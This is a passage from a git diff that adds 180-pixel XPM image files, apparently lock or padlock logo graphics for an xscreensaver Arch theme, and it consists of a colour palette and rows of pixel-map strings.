====,!!!!>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,>%%%% ", +" ====>!!!!,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,;%%%% ", +" ====;!!!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,,=%%%% ", +" ====>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>%%%% ", +" =====,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>%%%%% ", +" =====>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;%%%%% ", +" ======;>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;%%%%%%% ", +" =========;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=============================================================================================================%%%%%%%%%% ", +" =============================================================%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ", +" ==========================================================%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ", +" =====================================================%%%%%%%%====================================%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ", +" %%%%%%%;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=%%%%% ", +" %%%%%%%%%%;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=%%%%%%%% ", +" %%%%%%%%%%%%=;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=%%%%%%%%%%% ", +" %%%%%%%%%%%=;;>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=%%%%%%%%%%% ", +" %%%%%%%%%=;>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>;=%%%%%%%%% ", +" %%%%%%%%=;>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>;=%%%%%%%% ", +" %%%%%%%=;>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>;=%%%%%%% ", +" %%%%%%=;>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>;=%%%%%% ", +" %%%%%%;>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>;%%%%%% ", +" %%%%%=>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>=%%%%% ", +" %%%%%=>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>=%%%%% ", +" %%%%=>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>=%%%% ", +" %%%%%;>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>;%%%%% ", +" %%%%;>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>;%%%% ", +" %%%%;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;%%%% ", +" %%%%;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;%%%% ", +" %%%%;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;%%%% ", +" %%%%;;;;;;>,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,>>>;;;;;;%%%% ", +" %%%%=;;;;;;>,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,,,,>>;;;;;;%%%%% ", +" %%%%%=;;;;;;>,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,,,,,,,>>;;;;;;=%%%% ", +" %%%%%;;;;;;;;>,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,>>;;;;;;;;%%%%% ", +" %%%%%=;;;;;;;;>,,!!!!!!!!!!!!!!,,,,,,>>>>>>>,,,,,,!!!!!!,,,,,,,,,,>>;;;;;;;;=%%%%% ", +" %%%%%%=;;;;;;;;;;>,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,,>;;;;;;;;;;=%%%%%% ", +" %%%%%%%=;;;;;;;;;;;>,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,,>;;;;;;;;;;;=%%%%%%% ", +" %%%%%%%%;;;;;;;;;;;;;;>,,!!!!!!!!!!!!!!!!!!!!!!!!!!!!,>>;;;;;;;;;;;;;;%%%%%%%% ", +" %%%%%%%%=;;;;;;;;;;;;;;;;;>>,,!!!!!!!!!!!!!!,,>>;;;;;;;;;;;;;;;;;=%%%%%%%% ", +" %%%%%%%%%=;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=%%%%%%%%% ", +" %%%%%%%%%%=;;;========================================;;;=%%%%%%%%%% ", +" %%%%%%%%%%%%=;;;;==============================;;;;=%%%%%%%%%%%% ", +" %%%%%%%%%%%%%%%==;;;;;;==============;;;;;;==%%%%%%%%%%%%%%% ", +" %%%%%%%%%%%%%%%%%%%%%============%%%%%%%%%%%%%%%%%%%%% ", +" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ", +" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ", +" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ", +" %%%%%%%%%% ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-3.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-3.xpm new file mode 100644 index 0000000..e6d1a6e --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-3.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_tango_3_xpm[] = { +"180 180 17 1", +" c None", +". c #14127D", +"+ c #30315D", +"@ c #47467D", +"# c #4F504E", +"$ c #5D5D80", +"% c #6D6148", +"& c #896E04", +"* c #72738C", +"= c #747674", +"- c #B39201", +"; c #8E908E", +"> c #B1B3B0", +", c #EFDB2F", +"' c #D3D5CD", +") c #F2E581", +"! c #EFF0EA", +" ", +" ", +" ", +" ", +" ", +" ", +" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================================== ", +" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=================================================== ", +" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;===================================================== ", +" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;======================================================== ", +" ;;;;;;>''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>====== ", +" ;;;;;'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>===== ", +" ;;;;>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;==== ", +" ;;;;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'==== ", +" ;;;;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!==== ", +" ;;;;!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!==== ", +" ;;;;!!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!==== ", +" ;;;;>!!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!;==== ", +" ;;;;>!!!!!'''''>********>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!;==== ", +" ;;;;>!!!!''''''.................................................................................................................................$''''''''''''''!!!!;==== ", +" ;;;;>!!!!'''''>..................................................................................................................................''''''''''''''!!!!>==== ", +" ;;;;'!!!!'''''>..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++...''''''''''''''!!!!>==== ", +" ;;;;'!!!!'''''>..$***************************************************************************************************************************++..'''''''>>'''''!!!!>==== ", +" ;;;;'!!!!'''''*..************************************************************;;;;;====*******************************************************++..>''''>;>>>>'''!!!!>==== ", +" ;;;;'!!!!'''''*..*******************************************************;;;;;;;;;;;=========*************************************************++..>'''>;;;>>>'''!!!!>==== ", +" ;;;;'!!!!'''''*..****************************************************;;;;;;;;;;;;;=============**********************************************++..*'''>;;;>>>'''!!!!'==== ", +" ;;;;'!!!!'''''$..**************************************************;;;;;;;;;;;;;;================********************************************++..*'''''>;>>>'''!!!!'==== ", +" ;;;;!!!!!'''''@..************************************************;;;;;;;;;;;;;;;;;;;===============******************************************++..*'''''''''''''!!!!'==== ", +" ;;;;!!!!!'''''@..***********************************************;;;;;;;;;>>''!!!!!!!!!!''>;==========****************************************++..$'''''''''''''!!!!'==== ", +" ;;;;!!!!!'''''@..**********************************************;;;;;;;>'!!!!'''!!!!!!!!!!!!!'>========***************************************$+..$'''''''''''''!!!!'==== ", +" ;;;;!!!!!'''''@..*********************************************;;;;;;'!!!!'''''!!!!!!!!!!!!!!!!'>=======***********************************$$$$+..@'''''''''''''!!!!!==== ", +" ;;;;!!!!!'''''...********************************************;;;;;>!!!!'''''!!!!!!!!!!!!!!!!!!''';======****************************$$$$$$$$$$+..@'''''''''''''!!!!!==== ", +" ;;;;!!!!!'''''..+*******************************************;;;;;'!!!'''''!!!!!'''>'''!!!!!!''''''>======*********************$$$$$$$$$$$$$$$$+..@'''''>;>>>'''!!!!!==== ", +" ;;;;!!!!!'''''..+******************************************;;;;;'!!!''''!!'>;===========;>'''''''''>=====***************$$$$$$$$$$$$$$$$$$$$$$+...'''';;;>>>''''!!!!==== ", +" ;;;;!!!!!'''''..+******************************************;;;;'!!!'''!!';=================;''''''''>=====********$$$**$$$$$$$$$$$$$$$$$$$$$$$+...'''';;;>>>''''!!!!==== ", +" ;;;>!!!!!'''''..+*****************************************;;;;>!!!''!!';=====================;''''''';====******$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$++..''''';;>>>>'''!!!!==== ", +" ;;;;>!!!!!'''''..+*****************************************;;;;!!!!!!!';========================'''''''=====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$++..'''''''>>'''''!!!!;==== ", +" ;;;;>!!!!''''''..+****************************************;;;;>!!!!!!';========*********========='''''';====*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$++..''''''''''''''!!!!;==== ", +" ;;;;>!!!!'''''>..+****************************************;;;;!!!!!!';======*************$*=======''''''====*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$++..''''''''''''''!!!!;==== ", +" ;;;;>!!!!'''''>..$****************************************;;;;!!!!!!;=====*****$$$********$$*=====;''''';====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$++..>'''''''''''''!!!!;==== ", +" ;;;;'!!!!'''''>..$****************************************;;;>!!!!!'=====**********$$$$$****$*=====>''''>====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$++..>''''''>>'''''!!!!>==== ", +" ;;;;'!!!!'''''*..$***************************************;;;;'!!!!!;====*****$****$$$$$$$$$$$$*====;''''>====*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$++..>''''>;;>>>'''!!!!>==== ", +" ;;;;'!!!!'''''*..$***************************************;;;;!!!!!!=====****$$$$$$$$$$$$$$$$$$$====='''''====*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+++..*'''>;;;>>>'''!!!!>==== ", +" ;;;;'!!!!'''''*..$*******************************$*******;;;;!!!!!'====*$$$$$$$$$$$$$$$$$$$$$$$*====>''''=====$$$$$$$$$$$$$$$$$$$$$$$$$$$$+++++++..*'''>;;;>>>'''!!!!>==== ", +" ;;;;'!!!!'''''$..$***********************$$********$$****;;;;!!!!!>====$$$$$$$$$$$$$$$$$$$$$$$$*====>'''';====$$$$$$$$$$$$$$$$$$$$$$$$+++++++++++..*''''>>;>>>'''!!!!'==== ", +" ;;;;'!!!!'''''@..$*****************$****$$$$$$$******$$$$;;;;!!!!!;====$$$$$$$$$$$$$$$$$$$$$$$$$====;'''';====$$$$$$$$$$$$$$$$$$$$+++++++++++++++..$'''''''''''''!!!!'==== ", +" ;;;;!!!!!'''''@..$*************$$$$$$$$$$*$$$$$$$$$$$$$$$;;=;!!!!!====*$$$$$$$$$$$$$$$$$$$$$$$$$====;'''';====$$$$$$$$$$$$$$$$+++++++++++++++++++..@'''''''''''''!!!!'==== ", +" ;;;;!!!!!'''''@..$*******$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;==;!!!!'====*$$$$$$$$$$$$$$$$$$$$$$$$$====;'''';====$$$$$$$$$$$$$++++++++++++++++++++++..@'''''''''''''!!!!'==== ", +" ;;;;!!!!!'''''@..$*$$***$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!!'====*$$$$$$$$$$$$$$$$$$$$$$$$$====;'''';====$$$$$$$$$$+++++++++++++++++++++++++..@'''''''''''''!!!!'==== ", +" ;;;;!!!!!'''''...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!!'====*$$$$$$$$$$$$$$$$$$$$$$$$$*===;'''';====$$$$$$$++++++++++++++++++++++++++++..@''''''>>>''''!!!!!==== ", +" ;;;;!!!!!'''''...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!!'====*$$$$$$$$$$$$$$$$$$$$$$$$$====;!!!';====$$$$$++++++++++++++++++++++++++++++...''''>;;>>>''''!!!!==## ", +" ;;;;!!!!!'''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!''====*$$$$$$$$$$$$$$$$$$$$$$$$$*===;!!!';====$$+++++++++++++++++++++++++++++++++...'''';;;>>>>'''!!!!=### ", +" ;;;;!!!!!'''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!''====*$$$$$$$$$$$$$$$$$$$$$$$$$*===;!!!';====++++++++++++++++++++++++++++++++++++..''''>;;>>>>'''!!!!=### ", +" ;;;;!!!!!'''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!''====*$$$$$$$$$$$$$$$$$$$$$$$$$*===;!!!';===#++++++++++++++++++++++++++++++++++++..'''''>>>>>>'''!!!!=### ", +" ;;;>!!!!''''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!''====*$$$$$$$$$$$$$$$$$$$$$$$$$*===;!!!';===#++++++++++++++++++++++++++++++++++++..''''''''''''''!!!!=### ", +" ;;;;>!!!!''''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!''====*$$$$$$$$$$$$$$$$$$$$$$$$$*===;!!!';===#++++++++++++++++++++++++++++++++++++..>'''''''''''''!!!!=#### ", +" ;;;;>!!!!'''''>..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!''====*$$$$$$$$$$$$$$$$$$$$$$$$$*===;!!!!;===#++++++++++++++++++++++++++++++++++++..>'''''''''''''!!!!;#### ", +" ;;;;>!!!!'''''>..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===;!!!''====*$$$$$$$$$$$$$$$$$$$$$$$$$*===;!!!!;===#++++++++++++++++++++++++++++++++++++..>'''''''''''''!!!!;#### ", +" ;;;;>!!!!''''';..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===='''>>%%%%%=%%%%%%%%%%%%%%%%========%%%%%'''>%%%=#++++++++++++++++++++++++++++++++++++..*'''''>>>>>'''!!!!;#### ", +" ;;;;'!!!!'''''*..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%&--------------------------------&&&&&&&&&&&&&&&&&&&%#++++++++++++++++++++++++++++++++++..*'''';;;>>>'''!!!!>#### ", +" ;;;;'!!!!'''''*..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%----------------------------------&&&&&&&&&&&&&&&&&&&&&&&#++++++++++++++++++++++++++++++++..*'''>;;;>>>'''!!!!>#### ", +" ;;;;'!!!!'''''$..@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&----------------------------------&&&&&&&&&&&&&&&&&&&&&&&&&%+++++++++++++++++++++++++++++++..$'''';;;>>>'''!!!!>#### ", +" ;;;;'!!!!'''''$..@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&-----------------------------------&&&&&&&&&&&&&&&&&&&&&&&&&&%++++++++++++++++++++++++++++++..$'''''>>>>>'''!!!!>#### ", +" ;;;;'!!!!'''''@..@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&------))))))))))))))))))))))))))))))))))))))))))))),,,,--&&&&&&#+++++++++++++++++++++++++++++..@'''''''''''''!!!!>#### ", +" ;;;;'!!!!'''''@..$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$=-----)!!))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,-&&&&&+++++++++++++++++++++++++++++..@'''''''''''''!!!!'#### ", +" ;;;;!!!!!'''''@..$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&----)!!!))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,-&&&&%++++++++++++++++++++++++++++..@'''''''''''''!!!!'#### ", +" ;;;;!!!!!'''''@..$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$----)!!!!))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,&&&&&++++++++++++++++++++++++++++...'''''''''''''!!!!'#### ", +" ;;;;!!!!!'''''...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%----)!!!!)))))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-&&&&#+++++++++++++++++++++++++++...''''''''''''''!!!'#### ", +" ;;;;!!!!!'''''...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%----!!!!)),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&#+++++++++++++++++++++++++++@..''''''''''''''!!!'#### ", +" ;;;;!!!!!'''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!!)),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%+++++++++++++++++++++++++++@..''''''''''''''!!!!#### ", +" ;;;;!!!!!'''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%+++++++++++++++++++++++++++@..''''''''''''''!!!!#### ", +" ;;;;!!!!!'''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%++++++++++++++++++++++++++++..''''''''''''''!!!!=### ", +" ;;;;!!!!''''''..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%++++++++++++++++++++++++++++..>'''''''''''''!!!!=### ", +" ;;;;!!!!'''''>..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%+++++++++++++++++++++++++++@..>'''''''''''''!!!!=### ", +" ;;;>!!!!'''''>..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%++++++++++++++++++++++++++++..;'''''''''''''!!!!=### ", +" ;;;;>!!!!'''''>..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%++++++++++++++++++++++++++++..*'''''''''''''!!!!;#### ", +" ;;;;>!!!!'''''*..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%++++++++++++++++++@@@@@@@@@@..*'''''''''''''!!!!;#### ", +" ;;;;>!!!!'''''*..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%++++++++@@@@@@@@@@@@@@@@@@@@..*'''''''''''''!!!!;#### ", +" ;;;;>!!!!'''''*..+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@..$'''''''''''''!!!!;#### ", +" ;;;;'!!!!'''''$..@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!!!>#### ", +" ;;;;'!!!!'''''$..@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!!!>#### ", +" ;;;;'!!!!'''''@..@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!!!>#### ", +" ;;;;'!!!!'''''@..@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!!!>#### ", +" ;;;;'!!!!'''''@..@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@...''''''''''''''!!!>#### ", +" ;;;;!!!!!'''''...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..''''''''''''''!!!'#### ", +" ;;;;!!!!!'''''...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..''''''''''''''!!!'#### ", +" ;;==!!!!!'''''..@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..''''''''''''''!!!'#### ", +" ;===!!!!!'''''..@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..''''''''''''''!!!'#### ", +" ===;!!!!!'''''..@@$$$$$$$$$$$$$$$$$$$$$$$$$$$@@$@@@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..>'''''''''''''!!!'#### ", +" ===;!!!!!'''''..@@$$$$$$$$$$$$$$@$$$$$$$$$$$$@@@@@@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..>'''''''''''''!!!'#### ", +" 